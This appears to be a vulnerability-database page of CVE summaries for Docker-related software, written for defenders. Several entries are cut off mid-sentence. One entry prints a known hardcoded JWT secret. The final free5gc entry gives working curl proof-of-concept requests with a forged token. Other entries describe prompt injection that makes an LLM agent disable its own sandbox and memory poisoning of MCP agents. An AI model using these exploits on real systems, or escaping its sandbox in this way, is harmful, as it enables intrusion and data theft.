Docker

Broken access control in Pimcore's CustomReports bundle (composer package pimcore/pimcore, versions ≤ 12.3.5) lets an authenticated low-privileged backend user who holds only the generic `reports` permission read the full configuration of custom reports they were never granted access to. The report detail endpoint (`getAction`) validates only coarse `reports`/`reports_config` permissions, whereas the listing endpoint enforces per-report sharing rules through `loadForGivenUser()`; consequently a report hidden from a user's visible list can still be retrieved directly by name. A working proof-of-concept is published in the vendor's GitHub Security Advisory (GHSA-jwcc-gv4m-93x6), so publicly available exploit code exists, but there is no public evidence of active exploitation.

WordExportBundle in Pimcore CMS enforces only feature-level permission (`word_export`) at export initiation but performs no object-level authorization check against the target document element, constituting a broken object-level authorization (BOLA) flaw. Authenticated low-privileged backend users holding the `word_export` permission can supply arbitrary `type/id` parameters to `wordExportAction()` to export full content - including titles, descriptions, and body - from pages, snippets, emails, or objects they are explicitly denied `view` access to. A publicly available proof-of-concept script is included in the GitHub security advisory GHSA-332x-r494-54fq confirming practical exploitability; the vulnerability is not currently listed in CISA KEV.

Authentication bypass in Nocturne Memory before 2.4.1 lets any network-adjacent client gain unauthenticated read/write/delete access to the full Knowledge-Graph API when operators deploy the default Docker configuration without setting API_TOKEN. Because the server binds to 0.0.0.0 with CORS allow_origins=["*"] and the BearerTokenAuthMiddleware silently disables auth on an empty token, an attacker on the same LAN can tamper with memory entries such as system://boot and core://* that auto-load into downstream MCP agent sessions, enabling persistent prompt-injection. There is no public exploit identified at time of analysis, and no EPSS or CISA KEV signal is present in the source data.

VM escape in Kata Containers allows any Kubernetes user with pod-creation rights to break out of the VM sandbox and gain full read/write access to the host filesystem. All Kata Containers installations prior to commit ffa59ce3aa78 are affected when using the default configuration.toml, which enables the `virtio_fs_extra_args` and `kernel_params` pod annotations out of the box. An attacker crafts a pod with two annotations: one to redirect virtiofsd to serve the host root filesystem (`/`) into the guest VM, and a second to enable the agent debug console - after which the entire host filesystem is accessible from inside the supposedly isolated VM. A fully working proof-of-concept with confirmed output against Kata Containers 3.28.0 on Ubuntu 24.04 has been publicly disclosed; no public exploit confirmed as actively exploited (CISA KEV) at time of analysis.

Unauthenticated write access to patient electronic health records in epa4all-client 1.2.4 and earlier exposes German Telematik Infrastruktur (ePA 3.0) deployments to unauthorized data manipulation. The REST adapter component ships with no authentication or authorization controls, allowing any adjacent-network caller to write arbitrary documents to any patient EHR accessible via the institution's SMC-B card. No public exploit code has been identified at time of analysis, but the CVSS vector (AV:A/AC:L/PR:N/UI:N) confirms exploitation requires no credentials and minimal technical complexity once network-adjacent.

{id}/templates/variables endpoint, which lacks the checkAdmin() guard applied to every other admin-sensitive handler. Because global variables are merged into every project's compose file at deploy time, an attacker can redirect image pulls to a malicious registry to achieve cross-tenant supply-chain code execution on the Docker host, steal credentials from other users' deployments, or break every project on the instance. No public exploit identified at time of analysis, but the GHSA advisory documents the exact vulnerable code path.

Arbitrary code execution in Docker Desktop's Model Runner on macOS allows any container on the Docker network to escape to the host by serving a malicious model whose config.json points model_file at a Python file. The MLX inference backend uses MLX-LM's importlib-based loader with no trust_remote_code gate and no sandbox, so a pull-and-infer request to model-runner.docker.internal executes attacker code as the Docker Desktop user. No public exploit identified at time of analysis and KEV status is not indicated.

Arbitrary code execution in Docker Model Runner's vllm-metal inference backend on macOS allows any container on the Docker network to execute Python code on the host as the Docker Desktop user. The vllm-metal backend hardcodes trust_remote_code=True when loading tokenizers and runs unsandboxed, so any model pulled from an OCI registry can ship attacker-controlled Python that executes when inference is requested via the model-runner.docker.internal API. No public exploit identified at time of analysis, and the issue is not listed in CISA KEV.

Enhanced Container Isolation (ECI) bypass in Docker Desktop allows a local low-privileged user with Docker CLI access to mount the Docker Engine socket into a container by invoking the --use-api-socket flag, granting full Docker Engine control and exposure of registry credentials. The flaw stems from the API proxy inspecting only HostConfig.Binds while the flag routes the mount through HostConfig.Mounts, slipping past ECI policy. No public exploit identified at time of analysis, but the issue was reported by Docker itself and disclosed via ZDI (ZDI-26-299).

Unauthenticated SQL injection in YesWiki's Bazar form-import path allows any remote visitor to inject arbitrary SQL into an INSERT statement and exfiltrate the entire database, including yeswiki_users.password hashes. Affects YesWiki 4.6.1, 4.6.2, and the doryphore-dev branch prior to 4.6.4. Publicly available exploit code exists (a working Python PoC is published in the GHSA advisory), though no public exploit identified in CISA KEV at time of analysis.

Unauthenticated cross-origin MCP tool invocation in Network-AI v5.4.4 allows a remote attacker to lure a victim to a malicious web page that silently invokes any of the 22 exposed MCP tools (including config_set, agent_spawn, blackboard_write, and token_create/revoke) against the victim's locally running MCP SSE server. The vulnerability stems from an empty default secret combined with a wildcard CORS policy, and publicly available exploit code exists in the GHSA advisory demonstrating end-to-end exploitation. No CISA KEV listing yet and EPSS data was not provided, but the published PoC and trivial attack mechanics make this a meaningful risk for any user running the default Docker deployment.

Sandbox escape in Boxlite versions prior to 0.9.0 lets untrusted code running inside the lightweight VM remount host-shared virtiofs directories from read-only to read-write, enabling arbitrary writes to host files that operators believed were protected. Because the container is granted all 41 Linux capabilities (including CAP_SYS_ADMIN), a trivial 'mount -o remount,rw' bypasses the client-side MS_RDONLY enforcement, and in AI-agent deployments this leads to host code execution by tampering with mounted code, virtualenvs, or credentials. Publicly available exploit code exists (working PoC published in the GHSA advisory) and the issue carries a CVSS 10.0 with scope change; no public exploit identified at time of analysis in CISA KEV.

Unauthenticated remote code execution in Penpot MCP module's ReplServer (npm @penpot/mcp < 2.15.0) allows anyone on the adjacent network to POST arbitrary JavaScript to a `/execute` endpoint and have it executed by the Node.js process. The flaw stems from Express defaulting the listen() bind address to 0.0.0.0 instead of localhost, combined with a complete absence of authentication on the REPL endpoint. No public exploit identified at time of analysis beyond the reporter's working PoC included in the GHSA advisory.

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent attackers to execute arbitrary OS commands by chaining two unprotected API endpoints. The Next.js authentication middleware in src/proxy.js uses a narrow route allowlist that excludes /api/cli-tools/* and /api/mcp/*, letting an attacker register an arbitrary command via POST /api/cli-tools/cowork-settings and then trigger spawn() via GET /api/mcp/[plugin]/sse. Publicly available exploit code exists (PoC published with the GHSA advisory), with CVSS 10.0 reflecting maximum severity across confidentiality, integrity, and availability.

Stored cross-site scripting in Budibase self-hosted deployments (versions before 3.38.2) allows any authenticated user with Builder role - or any BASIC/POWER user with table WRITE permission - to upload SVG, HTML, or JavaScript files containing active content via the /api/attachments/process and /api/attachments/:tableId/upload endpoints. The files are stored in the configured object store (MinIO/S3) with their executable MIME types and served via signed URLs, so any end user viewing an attachment triggers script execution in their browser session. Publicly available exploit code exists (detailed PoC in the GHSA advisory); no public exploit identified in active campaigns at time of analysis.

{id}/html-check`, making this a zero-credential pivot primitive into internal infrastructure. Publicly available exploit code exists; no confirmed active exploitation in CISA KEV at time of analysis.

Local file disclosure in NiceGUI versions <= 3.11.1 allows remote unauthenticated attackers to read arbitrary files accessible to the server process when applications pass user-controlled content to ui.restructured_text(). The flaw stems from Docutils being invoked without disabling file-insertion directives (include, csv-table :file:, raw :file:), enabling exfiltration of secrets, credentials, and source code. No public exploit identified at time of analysis, but the vendor advisory provides full directive-level proof patterns.

Remote denial-of-service in OpenTelemetry eBPF Instrumentation (OBI) versions 0.7.0 through 0.8.x allows unauthenticated attackers to crash the privileged instrumentation process by sending a crafted memcached storage command with an oversized `<bytes>` field. The integer overflow in the memcached text protocol parser produces a negative payload length that triggers a Go runtime panic in LargeBufferReader.Peek, halting telemetry collection until OBI is restarted. Publicly available exploit code exists in the GHSA-43g7-cwr8-q3jh advisory, but there is no public exploit identified beyond the PoC and the vulnerability is not listed in CISA KEV.

Denial of service in OpenTelemetry eBPF Instrumentation (OBI) versions prior to 0.9.0 allows remote attackers to crash the telemetry agent by sending a malformed Postgres BIND frame with an empty or unterminated portal name payload to any monitored service. The defect lives in OBI's passive Postgres protocol parser, where missing NUL-terminator validation causes a Go slice-bounds panic, halting telemetry collection on the affected node. Publicly available exploit code exists in the GHSA-pgvv-q3wf-mm9m advisory, though the issue is not listed in CISA KEV and EPSS data was not provided.

OpenTelemetry eBPF Instrumentation (OBI) versions prior to 0.9.0 forwards raw Redis error replies verbatim into OTLP span status messages, enabling both information disclosure and telemetry injection against any deployment tracing Redis traffic. The `getRedisError` function in `pkg/ebpf/common/redis_detect_transform.go` applies only CRLF trimming before storing error text directly into `request.DBError.Description`, which `span.go` then exports as the span status message for every non-zero-status Redis span. A publicly available proof-of-concept demonstrates that caller-supplied values embedded in Redis error replies - including authentication credentials, tokens, and PII - are automatically propagated into OTLP collectors, dashboards, and log aggregators without requiring any special attacker position beyond the ability to trigger Redis errors. No public exploit identified at time of analysis beyond the included PoC; not in CISA KEV.

Symlink-based race condition in Docker Engine's `docker cp` implementation allows a malicious container with at least one volume mount to redirect a bind mount to an arbitrary host filesystem path, enabling host file overwrite or temporary denial of service. The flaw affects Moby/Docker through 28.5.2 and is fixed only in the Moby v2 line (2.0.0-beta.14); no public exploit identified at time of analysis. Exploitation requires an operator-initiated `docker cp` or archive API call against the malicious container, which constrains real-world abuse to environments where untrusted containers receive file copies.

Race condition in Docker's `docker cp` mount setup allows a process running inside a malicious container to create empty files or directories at arbitrary absolute paths on the host filesystem as root. Affected packages include github.com/docker/docker <= 28.5.2 and github.com/moby/moby <= 28.5.2, with a patch only confirmed for the moby/moby v2 branch at 2.0.0-beta.14. The CVSS vector reflects a scope-changed (S:C), high-availability-impact flaw requiring low privileges and high complexity; no public exploit or CISA KEV listing has been identified at time of analysis, but the attack is realistic when operators use `docker cp` against containers running untrusted workloads with volume mounts.

{id}/archive` or `docker cp -`. The daemon resolves the decompression binary (e.g., `unpigz`, `xz`) from the container's filesystem rather than the host's, so a trojanized binary baked into the image runs with daemon privileges. No public exploit identified at time of analysis, and the issue is not in the CISA KEV catalog.

Cross-tenant credential fallback in n8n-mcp versions 2.51.1 and earlier allows an authenticated MCP tenant on a shared multi-tenant HTTP deployment to operate against the operator's own n8n instance instead of their assigned tenant. When ENABLE_MULTI_TENANT=true and a request omitted (or partially supplied) the x-n8n-url and x-n8n-key headers, n8n-mcp silently fell back to the process-level N8N_API_URL/N8N_API_KEY credentials, granting tenants unintended access to read/write workflows, executions, data-tables, and credential metadata. Patched in 2.51.2; no public exploit identified at time of analysis but the underlying logic is straightforward and the upstream fix commit is publicly visible.

Server-side request forgery in Dozzle (amir20/dozzle) versions through 8.14.12 allows remote unauthenticated attackers to coerce the Dozzle host into issuing arbitrary HTTP POST requests and reflects up to 1MB of the response body back. The flaw lives in POST /api/notifications/test-webhook, which is exposed without authentication in the documented default Docker quickstart deploy (DOZZLE_AUTH_PROVIDER unset). No public exploit identified at time of analysis, but a detailed proof-of-concept accompanies the GHSA advisory.

Unauthenticated reflected XSS in Arcane Backend's logo endpoint enables full admin account takeover. The vulnerability allows attackers to inject JavaScript into an SVG image response by manipulating the color parameter, which executes in the application's origin when visited by authenticated users. Fixed in version 1.19.0.

{id}/volumes/{volumeName}/browse`. The path sanitizer at `volume_service.go:1448-1467` blocks only `../` traversal and passes shell substitution sequences through unchanged; `strconv.Quote` wraps the path in Go-style double quotes, which POSIX `sh` still interprets as a command-substitutable string, causing the injected command to execute and its output to be reflected in the HTTP 500 error body. No vendor-released patch exists at time of analysis; publicly available exploit code is embedded in the GHSA advisory (GHSA-9mvm-4gwg-v8mp) and no confirmed active exploitation (CISA KEV) has been reported.

Path traversal vulnerability in FrankenPHP allows remote code execution through Unicode handling flaws in CGI path splitting. The splitPos() function in cgi.go incorrectly processes non-ASCII bytes in request paths, allowing attackers to trick FrankenPHP into executing arbitrary non-.php files as PHP scripts by crafting URLs with Unicode lookalike characters or specific non-ASCII byte sequences. Successfully exploited in environments where attackers can upload or control file content, leading to remote code execution with CVSS 8.1 (High).

Open redirect in SimpleSAMLphp casserver module allows remote attackers to redirect authenticated users to arbitrary external domains after logout. Versions prior to 6.3.1 and 7.0.0-rc1 through 7.0.0-rc2 are affected. The logout endpoint accepts an unchecked 'url' query parameter without validating it against configured service URLs, enabling phishing attacks that leverage the trusted SimpleSAML domain. Public exploit code exists (POC: YES). EPSS data not available, but exploitation requires only user interaction (no authentication), making this readily exploitable in phishing campaigns targeting SSO users.

Open WebUI versions through 0.8.11 allow authenticated users to execute arbitrary Python code in the Jupyter container by bypassing the ENABLE_CODE_EXECUTION=false configuration flag. The /api/v1/utils/code/execute endpoint fails to enforce the admin-configured feature gate (CWE-863: Incorrect Authorization), enabling any verified user to run code even when administrators believe execution is disabled. The vulnerability is confirmed by vendor POC (verified 2026-03-25) demonstrating successful code execution, file access, and SSRF to internal Docker services despite explicit admin configuration disabling the feature. Vendor-released patch available in v0.8.12 (commit 6d736d3c5) enforces the configuration check before dispatching code to Jupyter.

{id}/files to any user with read access. This affects all default Docker deployments where chat sharing is enabled. Vendor-released patch available in v0.9.0 (commit 2e52ad8ff). No active exploitation confirmed (not in CISA KEV). CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H scores 8.0, though real-world impact extends beyond confidentiality to permanent data destruction with no recovery mechanism.

Insecure Direct Object Reference (IDOR) in Open WebUI's retrieval API allows authenticated users to bypass knowledge base access controls and directly access, modify, or delete other users' private knowledge bases by supplying the target UUID as a collection name. The authorization gap affects seven endpoints: two read endpoints (/query/doc, /query/collection) permit exfiltration of private knowledge base content, while five write endpoints (/process/text, /process/file, /process/files/batch, /process/web, /process/youtube) enable content injection, poisoning, or complete data destruction via overwrite. Affects Open WebUI <= 0.9.4; fixed in v0.9.5 via PR #22109. EPSS data not available; no confirmed active exploitation (CVSS 7.5 reflects AC:H due to UUID prerequisite, but UUIDs leak through multiple channels per researcher analysis).

{id}/update) fails to enforce the workspace.tools authorization check that gates code execution, allowing users explicitly denied code execution capabilities to bypass this security boundary. This breaks Open WebUI's documented trust model where workspace.tools permission is intentionally disabled by default and 'equivalent to giving them shell access to the server.' Exploitation achieves root code execution (PID 1) in default Docker deployments, enabling extraction of secrets (WEBUI_SECRET_KEY, API keys), database access, and filesystem read/write. Confirmed by GitHub security advisory GHSA-p4fx-23fq-jfg6. No public exploit or KEV listing at time of analysis, but detailed proof-of-concept with Burp Collaborator confirmation exists in the advisory.

Server-Side Request Forgery (SSRF) in Open WebUI versions ≤0.8.12 allows authenticated users with OAuth access to force the server to make HTTP requests to arbitrary internal resources and exfiltrate complete response data. Exploitation requires OAuth-enabled deployments with ENABLE_OAUTH_SIGNUP=true or OAUTH_UPDATE_PICTURE_ON_LOGIN=true. An attacker controls the OAuth provider's 'picture' claim URL, triggering server-side HTTP requests to cloud metadata services (AWS IMDS), localhost services (Redis, Elasticsearch), or internal network endpoints. The full response is base64-encoded and stored in the user's profile_image_url field, enabling complete data exfiltration. Fixed in version 0.9.0 per GitHub advisory GHSA-24c9-2m8q-qhmh. EPSS data not available; no CISA KEV listing indicates limited widespread exploitation, though publicly available proof-of-concept exists in the GitHub advisory.

Horizontal privilege escalation in Open WebUI versions through 0.3.15 allows any authenticated user to enumerate, read, and delete all files uploaded by all other users via missing authorization checks in the files API endpoints. The vulnerability requires only low-privilege authenticated access to the web interface and has publicly available exploit code with a detailed proof-of-concept demonstrating how attackers can list all uploaded files regardless of owner, retrieve file contents, and delete arbitrary user files. Organizations running multi-user Open WebUI deployments face immediate risk of data breach and integrity loss, as file upload features in conversational AI platforms commonly handle sensitive documents and internal communications.

Kuma Control Plane with default configuration leaks admin bootstrap tokens and signing keys to any website an operator visits if the control plane is reachable from their browser. The vulnerability combines default CORS settings allowing all origins (CorsAllowedDomains: [".*"]) with LocalhostIsAdmin: true, which grants admin privileges to any request from 127.0.0.1 without validating whether it originates from a trusted same-origin context. An attacker's JavaScript on a visited webpage can cross-origin fetch the admin token and cryptographic material via browser requests to localhost:5681. This is not actively exploited in the wild but represents a realistic threat in developer and testing environments where control planes run on workstations with web browsers.

{id}/file) exposes template file contents to any authenticated user due to a completely absent authorization check in the customTemplateFile handler - a check that every other custom template endpoint correctly implements. Authenticated users at any privilege level can enumerate sequential integer template IDs to read Docker Compose files belonging to templates they have no explicit access to, potentially harvesting embedded secrets such as database connection strings, API tokens, and registry credentials. No public exploit or CISA KEV listing has been identified at time of analysis; however, exploitation requires only a valid session and sequential ID guessing, making it trivially scriptable against any unpatched multi-tenant Portainer instance.

JWT bearer tokens leak to logs and external sites when passed via URL query parameter in Portainer's authentication middleware. Any user with container exec or attach privileges - not just administrators - exposes their authentication token through reverse-proxy access logs, browser history, and HTTP Referer headers when using Portainer's browser-based container shell features. Leaked tokens grant full user privileges for up to 8 hours (default expiration). Confirmed vendor-released patches available in versions 2.33.8, 2.39.2, and 2.41.0. No public exploit identified at time of analysis, though exploitation complexity is moderate once an attacker gains log access.

Authenticated non-admin users with Docker Swarm endpoint access can bypass Portainer's endpoint security restrictions to launch privileged containers with elevated capabilities, disabled security confinement, and arbitrary host filesystem bind mounts. The vulnerability affects Portainer versions 2.33.0–2.33.7, 2.39.0–2.39.1, and 2.40.0–2.40.x across all supported branches. Incomplete enforcement of seven administrator-configured security controls (privileged mode, host PID namespace, device mapping, capabilities, sysctls, Seccomp/AppArmor, bind mounts) on Swarm service creation and update APIs allows attackers to gain root-equivalent host access despite restrictive RBAC policies. Fixes released in versions 2.33.8, 2.39.2, and 2.41.0. No public exploit code identified at time of analysis, though detailed vulnerability disclosure with proof-of-concept attack chains was published by researchers route2shell and JohannesLks.

Arbitrary file read in Portainer allows authenticated users to leak sensitive files through Git symlink injection in stack deployments. When creating or updating a Git-backed stack, attackers embed symlinks pointing to system files (e.g., /etc/shadow, Kubernetes service account tokens, Docker secrets) in the repository; Portainer's go-git checkout writes these as OS symlinks, and the stack file endpoint follows them without validation, returning file contents in the HTTP response. The attack succeeds with default low-privilege permissions in Portainer CE and is amplified by auto-update, enabling time-delayed exploitation after initial approval. Vendor-released patches available in 2.33.8, 2.39.2, and 2.41.0. No active exploitation confirmed (not in CISA KEV); public exploit code exists (researcher-provided POC in GitHub advisory GHSA-rpgq-m5fp-32wr).

Authenticated regular users with container-creation rights in Portainer can mount arbitrary host filesystem paths into their containers by bypassing the 'Disable bind mounts for non-administrators' security control via HostConfig.Mounts instead of HostConfig.Binds, enabling root-level access to sensitive host files, Docker socket takeover, and container escape on shared Docker environments. The vulnerability is confirmed actively exploited based on seven independent security researcher reports, with vendor-released patches available across all supported branches (2.33.8, 2.39.2, 2.41.0). CVSS 8.5 reflects network exploitation with low complexity and changed scope impact, though real-world risk depends heavily on whether multi-tenant environments rely on this control as their primary container isolation mechanism.

{name}/enable`) directly against the Docker daemon, installing malicious plugins that run as root with CAP_SYS_ADMIN and arbitrary host mounts. Vendor-confirmed exploitation requires only low-privilege authenticated access (CVSS:4.0 9.4, AV:N/AC:L/PR:L). Patches released across three supported branches (2.33.8-LTS, 2.39.2-LTS, 2.41.0). No public exploit code identified at time of analysis, but attack technique is straightforward given detailed vendor disclosure.

Command injection in @apostrophecms/cli apos create command allows arbitrary command execution when a user supplies specially crafted input during the interactive password prompt. The vulnerability exists in lib/commands/create.js line 186, where user-supplied password input is passed directly into a shell exec() call without sanitization or escaping, enabling attackers to inject shell metacharacters (;, &&, $()) to execute arbitrary commands with the privileges of the user running the CLI. Exploitation requires user interaction (UI:R) and high privilege context (PR:H), but publicly available proof-of-concept demonstrates successful arbitrary code execution on Ubuntu systems with Node.js.

Remote code execution in OpenClaude npm package allows LLM prompt injection to escape sandbox confinement via model-controlled dangerouslyDisableSandbox parameter. Confirmed actively exploited (CISA KEV). Vendor-released patch available (version 0.5.1). The vulnerability allows an attacker who controls LLM prompts (via content injection) to execute arbitrary bash commands on the host system outside the intended sandbox, enabling credential theft, data exfiltration, and lateral movement. GitHub advisory GHSA-m77w-p5jj-xmhg confirms the flaw affects all versions < 0.5.1 with default configuration where allowUnsandboxedCommands defaults to true.

Complete process crash in Dalfox REST server v2.12.0 and earlier allows remote unauthenticated attackers to terminate the entire scan engine via a single HTTP request. The flaw stems from a closed-channel write panic in pkg/scanning/parameterAnalysis.go where two sequential worker stages share a single results channel, causing a Go runtime panic when the second stage attempts to write to the already-closed channel. Default deployments run without authentication (no --api-key), making the vulnerability remotely exploitable. CVSS 7.5 (High). Patched in v2.13.0 per GitHub advisory GHSA-2g4x-fq3j-cgq4. No CISA KEV listing or public exploit code identified at time of analysis.

Authentication bypass in SOCFortress CoPilot versions prior to 0.1.57 allows remote unauthenticated attackers to forge admin-scoped JWT tokens and gain full control of the security operations platform. The application ships with a publicly known JWT signing secret hardcoded as a fallback value (bL4unrkoxtFs1MT6A7Ns2yMLkduyuqrkTxDV9CjlbNc=) in backend/app/auth/utils.py and .env.example. Any deployment using the default Docker Compose setup or where JWT_SECRET is not explicitly set signs all authentication tokens with this known value, enabling attackers to impersonate administrators and control every integrated security tool without credentials. CVSS 10.0 with network vector and no authentication required. Fix confirmed in version 0.1.57 via GitHub commit 4640511a0cf2e7b144a71375b5b349a8318cb186.

Server-Side Request Forgery in Budibase self-hosted instances allows authenticated Global Builder users to bypass SSRF protections via trivial substring manipulation in plugin URL uploads. The vulnerability exploits a flawed validation check that accepts any URL containing '.tar.gz' anywhere in the string, enabling requests to internal cloud metadata services (AWS IMDS at 169.254.169.254), CouchDB, Redis, and private network ranges when chained with the BLACKLIST_IPS bypass (CVE-2026-45060) or via HTTP redirect chains. CVSS 7.7 (High) with Changed Scope indicates cross-boundary impact from application to infrastructure layer. Vendor-released patch available in version 3.35.10 per GitHub security advisory GHSA-xh5j-727m-w6gg. EPSS data not available; no CISA KEV listing at time of analysis. Publicly available exploit code exists in researcher's GitHub repository with Docker-based proof-of-concept.

Template injection in Rancher Local Path Provisioner allows Kubernetes cluster operators with ConfigMap edit permissions to escalate privileges to node-level root access. Attackers with write access to the local-path-config ConfigMap can inject malicious Pod templates that bypass security controls, creating privileged containers with full host filesystem access. This enables theft of ServiceAccount tokens from co-located pods, access to other tenants' persistent volume data, and arbitrary modification of host node files. Vendor-released patch: v0.0.36. CVSS 8.7 (High) reflects the high-privilege prerequisite (PR:H) but scope change to container escape (S:C). No public exploit identified at time of analysis, though exploitation is straightforward for authenticated cluster operators.

Command injection in BentoML 1.4.38 and earlier allows attackers to execute arbitrary code on build hosts when victims containerize malicious bentos. Exploitation occurs during the `bentoml containerize` workflow when unvalidated `envs[*].name` and `docker.base_image` fields from imported bentofile.yaml are interpolated into generated Dockerfiles without escaping, enabling newline-injection of RUN directives executed by `docker build`. This is a sibling vulnerability to CVE-2026-33744 and CVE-2026-35043 which patched the same injection class in `system_packages` fields but left these additional attack surfaces unaddressed. Patch version 1.4.39 available from vendor. No CISA KEV listing or public POC outside gated HuggingFace repository at time of analysis, but end-to-end reproduction confirmed by reporter on BentoML 1.4.38.

Command injection in BentoML allows arbitrary code execution on developer workstations during containerization of untrusted bento packages. Attackers craft malicious bento.yaml files with newline-injected docker.base_image values that smuggle Dockerfile RUN directives into the generated Dockerfile template. When victims run 'bentoml containerize' on the malicious bento, Docker build executes the injected commands on the host system with full developer privileges. This vulnerability (GHSA-78f9-r8mh-4xm2) is part of a documented cluster alongside GHSA-w2pm-x38x-jp44, CVE-2026-33744, and CVE-2026-35043, all involving unsafe Jinja2 template interpolation in BentoML's Dockerfile generation pipeline. Fixed in version 1.4.39. No active exploitation confirmed at time of analysis; EPSS data not available for 2026-dated CVE.

Cross-Site WebSocket Hijacking (CSWSH) in Dozzle's /exec and /attach endpoints allows authenticated shell access bypass when --enable-shell is enabled. The vulnerability stems from WebSocket origin validation bypass (CheckOrigin returns true) combined with SameSite=Lax JWT cookies, enabling attackers on same-site origins (sibling subdomains or localhost services) to hijack victim WebSocket sessions and execute arbitrary commands in Docker containers. Affects all Dozzle deployments through version 10.5.1 with shell access enabled. No public exploit identified at time of analysis, but detailed proof-of-concept exists in the GitHub advisory demonstrating container shell access via Python script. CVSS score not assigned, but CWE-346 classification indicates origin validation failure.

Server-side request forgery in Gotenberg's Chromium URL-to-PDF endpoint allows unauthenticated remote attackers to exfiltrate cloud credentials and access internal services. The primary `/forms/chromium/convert/url` endpoint ships with no default deny-list for HTTP/HTTPS targets - only blocking file:// URIs - enabling direct access to AWS/GCP/Azure metadata endpoints at 169.254.169.254, RFC 1918 private networks, and localhost services. Even when administrators configure custom deny-lists, attackers bypass validation via HTTP 302 redirects, as Chromium follows redirects without re-validating destinations. Vendor-confirmed public exploit code exists (PoC in GHSA-chwh-f6gm-r836). Patch available in version 8.32.0.

{appID}`, and to create or delete PFD change-notification subscriptions via `POST /subscriptions` and `DELETE /subscriptions/{subID}`. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, `nnef-pfdmanagement` IS declared in the runtime `ServiceList`, so this is the production-intended path that operators expect to be protected by `OAuth2 setting receive from NRF: true` -- and it is not. Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, but the entire `nnef-pfdmanagement` route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:56` - Read routes exposed at `/applications` and `/applications/:appID`: `NFs/nef/internal/sbi/api_pfdf.go:13` - Subscription routes exposed at `/subscriptions` and `/subscriptions/:subID`: `NFs/nef/internal/sbi/api_pfdf.go:13` - `GET /applications` queries UDR for application PFD data: `NFs/nef/internal/sbi/processor/pfdf.go:19` - `GET /applications/:appID` queries UDR for an application PFD: `NFs/nef/internal/sbi/processor/pfdf.go:53` - `POST /subscriptions` only checks `notifyUri` is present, then stores the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:83` - `DELETE /subscriptions/:subID` removes the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:110` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. 1. Seed an AF context (also forged-token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions ``` 2. Seed one PFD application entry (also forged-token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S*)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions ``` 3. READ PFD collection with forged token -> `200 OK` returns PFD data: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311' ``` 4. READ individual PFD with forged token -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311 ``` 5. CREATE PFD subscription with forged token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions ``` 6. DELETE PFD subscription with forged token -> `204 No Content`: ``` curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` NEF container logs (`docker logs nef`) show requests reaching business handlers and returning success codes: ``` [INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications?application-ids=... [INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications/... [INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2] [INFO][NEF][GIN] | 201 | POST | /nnef-pfdmanagement/v1/subscriptions [INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1] [INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1 ``` Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `nnef-pfdmanagement` SBI route group. This is the production-intended PFD service for NEF (declared in the runtime `ServiceList`), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can: - Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF. - Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen `notifyUri` endpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to. - Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation. The defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's full capability surface. Affected: free5gc v4.2.1. 